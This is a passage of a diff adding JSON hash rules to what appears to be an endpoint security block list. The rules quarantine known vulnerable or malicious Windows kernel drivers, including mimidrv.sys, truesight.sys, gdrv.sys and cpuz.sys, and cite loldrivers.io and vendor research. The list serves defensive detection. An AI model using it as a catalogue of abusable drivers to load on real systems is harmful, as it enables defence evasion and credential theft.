+}
+{
+  "id": "5a5f3bbc-f802-55a4-997f-1e15288d46d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981745Z",
+  "creation_date": "2026-03-23T11:45:29.981747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dafe5f3d0527b66f6857559e3c81872699003e0f2ffda9202a1b5e29db2002e",
+  "comment": "Malicious Kernel Driver (aka daxin_blank4.sys) [https://www.loldrivers.io/drivers/f8bddc8b-49b9-41f7-a877-d15ec3f174f9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a608dd0-ae3f-58a1-97cd-df397c6123f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819930Z",
+  "creation_date": "2026-03-23T11:45:30.819932Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819937Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "647f209aac750ba26bda9836afa5ef1370e4a62b5c331606086b1c4c92e10841",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a675fe1-94f8-5d56-a4f5-ce1e2c156487",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818416Z",
+  "creation_date": "2026-03-23T11:45:30.818418Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51f002ee44e46889cf5b99a724dd10cc2bd3e22545e2a2cb3bd6b1dd3af5ba11",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a716bec-b6e8-5ab9-b90b-7f3111948cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974575Z",
+  "creation_date": "2026-03-23T11:45:29.974577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bea1a92c747c203cd3e370f422ed6023787817a5495385e5ca473ef59396a2e",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a7df18d-1b7d-517a-b992-0deae3d4c736",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824562Z",
+  "creation_date": "2026-03-23T11:45:30.824564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a05a5e4ef61ca36ec26c307986f97ddacdf0b8c6d49ba585af7f6c1418e15580",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a875926-b743-5bf0-95bc-90d0d60352a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474546Z",
+  "creation_date": "2026-03-23T11:45:31.474550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fc59fa28750eca8c9b1d0430f8dae06fb47a23ae5ccaf00382ff39404dd0ce3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a87b0e1-2b4b-5f7f-b853-ca10d1ee5d40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489074Z",
+  "creation_date": "2026-03-23T11:45:31.489076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b300090af83ca99586f57e7866152c457ff04845af365b1b556f26b827f07c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a8d8298-13c9-555f-8d45-667e01396666",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465029Z",
+  "creation_date": "2026-03-23T11:45:30.465032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "beef40f1b4ce0ff2ee5c264955e6b2a0de6fe4089307510378adc83fad77228b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a901fd4-accf-5903-9b5f-842ca54d511e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146583Z",
+  "creation_date": "2026-03-23T11:45:31.146585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2379c61d731ca8c5b2e37b59829ab936cb89b399dcd0704bf3e5b6623a94aa74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a94a125-7f03-5ae0-8b14-aa7ad9fe6e7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500761Z",
+  "creation_date": "2026-03-23T11:45:31.500765Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500773Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b13a2984b2010516a393de79655ee50b11c820e81c3d48c77994f6ae158e264e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a975e71-e4b7-5ae0-a002-bf1d7a4df225",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472664Z",
+  "creation_date": "2026-03-23T11:45:30.472668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e92aacd60fca1f09b7257e62caf0692794f5d741c5d1eec89d841e87f2c359c",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a9e8640-da7b-509c-9409-e448da121355",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472349Z",
+  "creation_date": "2026-03-23T11:45:31.472352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472360Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc21d405f62d38621816523ef0d56479bcc72b7713a133d14b304db037727f74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5aa9af00-e2ad-54f6-a877-2d0fe8fa2861",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472438Z",
+  "creation_date": "2026-03-23T11:45:31.472441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472450Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e80b9e2396917ea371114060a132279a1392cfa311c0980b96b5ba0e523e047f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ab4f810-e734-5349-98f1-78e936ac28ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828472Z",
+  "creation_date": "2026-03-23T11:45:30.828474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c01f61d0a03d2a02107e921f8f23884cf053c5f5be991b5136d6958ffd94863",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ab8913d-ade1-5174-8bac-5f220c4aca6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981908Z",
+  "creation_date": "2026-03-23T11:45:29.981910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3e507e713f11901017fc328186ae98e23de7cea5594687480229f77d45848d8",
+  "comment": "Vulnerable Kernel Driver (aka b1.sys) [https://www.loldrivers.io/drivers/69b924ab-2e4a-4eae-8091-4151c238136e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ab8d85b-61af-50a7-bffc-510e23430e23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609482Z",
+  "creation_date": "2026-03-23T11:45:29.609488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb0063e65c44da66d705d25121af09b641070219c174f5d83e288ba8fe59e46f",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5abb8057-4929-5291-8210-9bf1c36b9d57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811524Z",
+  "creation_date": "2026-03-23T11:45:31.811526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "701a88235e70f19461935f0fbfd4bcecdf654c0b91b20b0a968b0e7d9b40713c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ad75cc5-a900-5a39-ac3c-59098e7bf83a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620693Z",
+  "creation_date": "2026-03-23T11:45:29.620695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620700Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84bf1d0bcdf175cfe8aea2973e0373015793d43907410ae97e2071b2c4b8e2d4",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5add6a82-ff79-568a-80d8-0c2de6a824dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821499Z",
+  "creation_date": "2026-03-23T11:45:30.821503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13ae3081393f8100cc491ebb88ba58f0491b3550787cf3fd25a73aa7ca0290d9",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5aedb076-01ca-5528-a5c1-2c15cbf4fd6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148154Z",
+  "creation_date": "2026-03-23T11:45:31.148157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37f755dcb733a06bbc90206da0ca94078e237cb0602d4050f7679946b6f93738",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5af9d7b9-034b-554e-9302-ac2c8e3e21bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470461Z",
+  "creation_date": "2026-03-23T11:45:30.470465Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9718a5e78f5015a7a9f66c33ae31a6df37535f33039380c6edc103e3a9dbc5ab",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5afc9956-b8ac-543f-979a-c4031cfa1d67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813195Z",
+  "creation_date": "2026-03-23T11:45:31.813198Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd717e3f0cbdcd839a816d133f07b331f6219259071e33fb8ba7f0a6258d56a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5afc9eaf-a71f-5a70-a191-06b6cefe6be6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
